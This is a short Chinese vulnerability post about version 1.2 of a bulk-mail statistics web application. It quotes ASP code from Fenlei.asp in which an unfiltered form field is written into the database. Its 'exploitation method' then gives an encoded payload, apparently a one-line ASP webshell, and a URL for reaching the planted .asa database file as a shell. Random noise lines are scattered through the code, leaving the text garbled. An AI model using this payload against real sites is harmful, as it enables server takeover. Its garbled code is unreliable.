铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
5 ^) Z! V* m$ L2 R
( r/ S7 t4 S4 f5 |. K" `( DIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
! m/ X+ `3 V1 ?. I; @$ AIF Request.QueryString("Action")="Add" Then
% A0 g( W+ E1 K3 nTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
" \$ r* W; }) |/ V# P) ?Rs.Addnew
$ c) F/ X3 t# r0 @7 J+ c$ _$ [- vRs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
* t# C* P/ b1 O( ~8 K' T8 k! O%>
- Y/ B- b, d6 w; N9 a. W5 L( B6 b+ I


没有过滤，直接写入数据库。
+ J7 _+ b+ V) c$ E
利用方法：
' N: M1 N0 v, e( P# G9 N$ k  V
6 }+ g: ^+ I) f$ t插入：┼攠數畣整爠煥敵瑳∨≡┩>
3 r, Q: ^6 I0 ~8 J/ |+ s, e4 E$ X. z
: h% D6 a; w3 y) A
  ?% |) E8 R- v连接： http://www.xxx.com/###tongbaner.asa
, {. c/ B8 t7 W/ r) o+ e8 v'默认安装文件：
'install.asp